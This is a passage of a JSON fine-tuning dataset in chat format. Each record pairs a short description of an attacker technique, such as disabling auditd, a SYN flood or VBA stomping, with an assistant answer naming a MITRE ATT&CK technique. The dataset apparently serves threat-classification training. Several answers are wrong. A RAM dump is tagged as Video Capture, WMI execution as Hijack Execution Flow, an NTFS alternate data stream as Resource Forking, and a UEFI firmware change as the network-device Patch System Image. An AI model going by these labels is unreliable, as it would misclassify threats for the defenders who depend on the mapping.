                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a known vulnerability in an unpatched Windows SMB service to gain remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage the Windows Credential Manager API to retrieve stored credentials for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit triggers a rapid allocation of kernel memory structures, exhausting available memory and causing the operating system to halt, resulting in endpoint denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware is signed with an expired or forged certificate to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a compromised software installation, the malicious payload alters the UEFI firmware image to execute its code at startup."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses compromised credentials to delete Azure VM instances across multiple subscriptions."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload is hidden inside a legitimate PDF by using steganographic techniques to embed the executable data."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By sending malformed Bluetooth packets, the attacker forces the endpoint's Bluetooth stack to crash, resulting in service disruption."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involves provisioning a new domain account and assigning it to a high‑privilege group."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a legitimate‑looking caller ID to pose as a vendor, then asked the target to reveal network credentials to 'reset' a password."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign uses a two-step process where the first stage creates a hidden registry key that points to a script which downloads the final payload."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor flushes the network connection history and removes associated configuration entries to conceal malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script runs \"net view \\\\target\" to list all SMB shares on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group acquires a password‑cracking tool via a private chat on the dark web to facilitate credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries Google and Bing for the target organization's public domain to gather information about exposed services."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code registers a Windows Service that monitors for a specific USB device insertion and executes a payload when the device is detected."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sequence involves a bootkit that installs a persistence mechanism, which subsequently activates a remote access tool in a later stage."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a vulnerability in the organization's payroll software to alter employee salary details and redirect payouts to their own accounts."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT uses a legitimate admin tool to import a malicious root certificate, subverting trust controls for future exploits."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat injects a DLL by copying it into the extra window memory of a running process and hijacking its message loop."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Data is exfiltrated via GRE (Generic Routing Encapsulation) tunnels, which operate below the application layer."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary applies software packing to a legitimate installer, inserting malicious code that activates after installation."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary bypasses user‑mode libraries by using raw system calls like NtQuerySystemInformation to gather system data."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers deploy a script that leverages the victim's GPU to mine Monero without the user's knowledge."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses the Outlook Object Model through a remote COM interface to enumerate and copy email items from the user’s mailbox."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using known flaws in a Windows service, the intruder obtains remote code execution capabilities and installs a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the Windows Management Instrumentation (WMI) to execute commands stealthily without creating new processes."
            },
            {
                "role": "assistant",
                "content": "T1574 - Hijack Execution Flow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Encoded data in Base64 is embedded inside a JPEG file to hide malicious content."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use Azure Resource Manager calls to discover all storage accounts and containers in the tenant."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion leverages Linux socket filter mechanisms to intercept outgoing traffic and signal the command‑and‑control server when a beacon is detected."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit changed the file‑encryption routine to employ a weak 64‑bit symmetric key."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used compromised credentials to issue an API call that terminated a victim's Amazon EC2 instance, effectively deleting the VM from the cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker synchronizes stolen files to a network‑mounted removable media share for later offline retrieval."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits a trusted hardware component supplier to embed a covert channel in the power management ICs of laptops."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code replaces the default accessibility tool 'magnify.exe' with a trojan that establishes a C2 connection every time the screen magnifier is launched."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker posts a lure on a forum that encourages users to copy and paste command line code into their terminal."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised user runs \"service auditd stop\" and then modifies the startup scripts to prevent auditd from starting on boot."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware uses XOR obfuscation on its executable sections to avoid signature detection."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker utilizes Windows API calls to programmatically create a local login account."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a COM object in one process and invokes its methods from another process to control system functions."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker gained admin access to the web server and edited index.html to display a ransom note."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker configures a systemd service with Type=oneshot to execute a payload during system boot and then exit."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a compromised VPN account to spin up a virtual private server for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging publicly available CDN cache information, the intruder identifies cached resources that indicate the target's internal network layout."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor tunnels exfiltration traffic through commonly used HTTPS connections to mask its activity."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set employs right‑to‑left override Unicode characters in Windows registry keys to mask malicious entries as legitimate configuration values."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivered credentials that were used to access the target's Office 365 cloud services remotely."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a memory dumping technique to extract sensitive information from a compromised system's memory, such as login credentials or encryption keys."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a new Windows Scheduled Task to execute a PowerShell payload every hour."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages legitimate remote administration tools to move laterally without raising suspicion."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor invoked mshta.exe with a URL argument pointing to an HTTP-hosted .hta file, enabling drive-by execution of arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a malicious PowerShell one-liner that invokes \"Stop-Computer -Force\" to abruptly halt the operating system."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware stores its configuration in an Alternate Data Stream (ADS) attached to a legitimate PDF file."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After initial compromise, the threat actor launches a process that encrypts all files in the user's home directory."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The espionage toolkit uses a time‑based algorithm to generate domain names, then queries DNS to discover the command server."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker with limited permissions abuses a vulnerable IAM policy to grant themselves additional cloud credentials across multiple accounts."
            },
            {
                "role": "assistant",
                "content": "T1098.001 - Account Manipulation: Additional Cloud Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sends a lure document that requires the user to enable 'Content' to view images, which triggers malicious code."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ the IMAP search function to locate specific emails that contain hidden command instructions."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a credential dumping attack by loading the DSInternals PowerShell module to read AD secrets."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a custom module to dump the contents of the RAM and parses out in‑memory documents for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware edits the group policy to enforce a custom screensaver that runs a PowerShell command invoking the attacker’s C2 server each time it activates."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor launches a SYN flood against a web server, exhausting its connection table and resulting in a denial of service."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a social engineering tactic to trick the victim into forwarding MFA codes to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom webshell hosted on a compromised application server, the attacker both uploads command scripts via HTTP POST and receives execution results via HTTP response bodies."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script adds iptables rules that flush all existing rules and set the default policy to ACCEPT."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages the SetWindowsHookEx API to capture GUI input events from the victim's desktop, sending the captured data to a command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT33 utilizes a non‑standard Base32 variant with custom padding to encode exfiltrated configuration files."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the ACLs on HKLM\\SYSTEM\\CurrentControlSet\\Services\\MyService to grant write access, then replaces the service binary to execute malicious code with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the CLI of a firewall, the threat actor modifies rule sets to allow inbound traffic from malicious IPs."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code runs the 'systeminfo' command to collect OS version, processor details, and installed memory."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor leverages a domain generation algorithm that combines the current date and a secret seed value to generate a list of 500 candidate domains."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvest the victim's OS architecture and hardware model by reading system files in /proc."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors set up an unauthorized SaaS account linked to the victim's cloud storage for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor issues the 'ps aux' command to retrieve the list of processes and their resource usage."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates the victim's internal network by performing a sweep of IP address ranges and noting which hosts respond to ping."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By stomping the existing VBA code in Excel spreadsheets, the attacker conceals malicious scripts under the guise of a normal macro."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
